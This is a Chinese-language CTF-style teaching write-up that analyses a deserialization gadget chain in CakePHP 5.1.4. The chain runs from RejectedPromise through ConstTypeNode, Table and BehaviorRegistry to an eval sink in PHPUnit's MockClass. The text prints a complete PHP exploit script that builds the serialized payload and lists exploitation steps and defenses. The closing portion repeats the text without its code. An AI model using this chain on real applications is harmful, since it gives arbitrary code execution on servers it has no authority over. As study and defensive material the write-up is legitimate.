CakePHP 反序列化漏洞分析
字数 1193 2025-08-22 12:23:19

CakePHP 反序列化漏洞分析教学文档

漏洞概述

本文档详细分析CakePHP 5.1.4版本中的反序列化漏洞,包括漏洞原理、利用链构造和EXP编写方法。

漏洞背景

在SUCTF比赛中考察了CakePHP的反序列化漏洞,由于以前版本的利用链在5.1.4版本中失效,需要重新挖掘新的利用链。

漏洞分析

1. 反序列化入口点(Source点)

在CakePHP 5.1.4中,传统的利用链入口vendor\symfony\process\Process类的__destruct方法不再可用,因为:

  • 该类添加了__wakeup魔术方法
  • __wakeup会在__destruct前执行并抛出异常
  • PHP 8.1+版本目前没有绕过__wakeup的有效方法

新的入口点选择在src\Internal\RejectedPromise类的__destruct方法:

// src/Internal/RejectedPromise.php
public function __destruct() {
    if ($this->reason instanceof \Throwable) {
        throw $this->reason;
    }
    // 存在字符串拼接操作,$reason可控
    throw new \RuntimeException($this->reason);
}

2. 利用链构造

2.1 触发__toString

通过RejectedPromise__destruct方法中的字符串拼接操作,可以触发任意对象的__toString魔术方法。

2.2 选择__toString目标

选择src\Ast\Type\ConstTypeNode类的__toString方法:

// src/Ast/Type/ConstTypeNode.php
public function __toString(): string {
    return (string) $this->constExpr;  // 可以触发任意对象的__toString
}

2.3 触发__call

$constExpr赋值为src\ORM\Table对象,该对象没有__toString方法,会触发其__call方法:

// src/ORM/Table.php
public function __call(string $method, array $args) {
    return $this->_behaviors->call($method, $args);
}

2.4 调用任意方法

Table类的__call方法会调用BehaviorRegistrycall方法:

// src/ORM/BehaviorRegistry.php
public function call(string $method, array $args = []) {
    $behavior = $this->_methodMap[$method][0] ?? null;
    $callMethod = $this->_methodMap[$method][1] ?? $method;
    
    if ($behavior && $this->has($behavior)) {
        return $this->_loaded[$behavior]->{$callMethod}(...$args);
    }
}

通过控制$_methodMap$_loaded属性,可以实现任意方法调用。

3. 最终利用点(Sink点)

选择src\Framework\MockObject\Generator\MockClass类的generate方法作为最终利用点:

// src/Framework/MockObject/Generator/MockClass.php
public function generate(): string {
    if (!class_exists($this->mockName)) {
        eval($this->classCode);
    }
    return $this->mockName;
}

该方法可以通过eval执行任意PHP代码,且不需要参数。

EXP构造

完整的EXP构造如下:

<?php
namespace PHPUnit\Framework\MockObject\Generator;
final class MockClass {
    public $mockName;
    public $classCode;
    public function __construct() {
        $this->mockName = "MockClass";
        $this->classCode = "phpinfo();"; // 要执行的恶意代码
    }
}

namespace Cake\Core;
abstract class ObjectRegistry {
    public $_loaded = [];
}

namespace Cake\ORM;
use Cake\Core\ObjectRegistry;
use PHPUnit\Framework\MockObject\Generator\MockClass;

class BehaviorRegistry extends ObjectRegistry {
    public $_methodMap = [];
    public function count(): int {}
}

class Table {
    public BehaviorRegistry $_behaviors;
    public function __construct(){
        $a = new MockClass();
        $this->_behaviors = new BehaviorRegistry();
        $this->_behaviors->_methodMap = ["__tostring" => ["MockClass", "generate"]];
        $this->_behaviors->_loaded = ["MockClass" => $a];
    }
}

namespace React\Promise\Internal;
final class RejectedPromise {
    public $reason;
}

namespace PHPStan\PhpDocParser\Ast;
interface Node {};

namespace PHPStan\PhpDocParser\Ast\Type;
use PHPStan\PhpDocParser\Ast\Node;
interface TypeNode extends Node {}

namespace PHPStan\PhpDocParser\Ast\Type;
use Cake\ORM\Table;
use React\Promise\Internal\RejectedPromise;

class ConstTypeNode {
    public $constExpr;
}

$pop = new RejectedPromise();
$pop->reason = new ConstTypeNode();
$pop->reason->constExpr = new Table();
echo base64_encode(serialize($pop));

利用步骤

  1. 构造恶意序列化数据
  2. 将数据传递给存在反序列化漏洞的CakePHP应用
  3. 触发反序列化操作
  4. 执行恶意代码

防御措施

  1. 避免反序列化用户可控的数据
  2. 及时更新CakePHP到最新版本
  3. 使用白名单验证反序列化数据
  4. 实施严格的输入过滤

总结

本漏洞利用链通过以下路径实现代码执行:

RejectedPromise::__destruct()ConstTypeNode::__toString()Table::__call()BehaviorRegistry::call()MockClass::generate()eval()

通过精心构造的利用链,最终实现了任意代码执行。

CakePHP 反序列化漏洞分析教学文档 漏洞概述 本文档详细分析CakePHP 5.1.4版本中的反序列化漏洞,包括漏洞原理、利用链构造和EXP编写方法。 漏洞背景 在SUCTF比赛中考察了CakePHP的反序列化漏洞,由于以前版本的利用链在5.1.4版本中失效,需要重新挖掘新的利用链。 漏洞分析 1. 反序列化入口点(Source点) 在CakePHP 5.1.4中,传统的利用链入口 vendor\symfony\process\Process 类的 __destruct 方法不再可用,因为: 该类添加了 __wakeup 魔术方法 __wakeup 会在 __destruct 前执行并抛出异常 PHP 8.1+版本目前没有绕过 __wakeup 的有效方法 新的入口点选择在 src\Internal\RejectedPromise 类的 __destruct 方法: 2. 利用链构造 2.1 触发__ toString 通过 RejectedPromise 的 __destruct 方法中的字符串拼接操作,可以触发任意对象的 __toString 魔术方法。 2.2 选择__ toString目标 选择 src\Ast\Type\ConstTypeNode 类的 __toString 方法: 2.3 触发__ call 将 $constExpr 赋值为 src\ORM\Table 对象,该对象没有 __toString 方法,会触发其 __call 方法: 2.4 调用任意方法 Table 类的 __call 方法会调用 BehaviorRegistry 的 call 方法: 通过控制 $_methodMap 和 $_loaded 属性,可以实现任意方法调用。 3. 最终利用点(Sink点) 选择 src\Framework\MockObject\Generator\MockClass 类的 generate 方法作为最终利用点: 该方法可以通过 eval 执行任意PHP代码,且不需要参数。 EXP构造 完整的EXP构造如下: 利用步骤 构造恶意序列化数据 将数据传递给存在反序列化漏洞的CakePHP应用 触发反序列化操作 执行恶意代码 防御措施 避免反序列化用户可控的数据 及时更新CakePHP到最新版本 使用白名单验证反序列化数据 实施严格的输入过滤 总结 本漏洞利用链通过以下路径实现代码执行: RejectedPromise::__destruct() → ConstTypeNode::__toString() → Table::__call() → BehaviorRegistry::call() → MockClass::generate() → eval() 通过精心构造的利用链,最终实现了任意代码执行。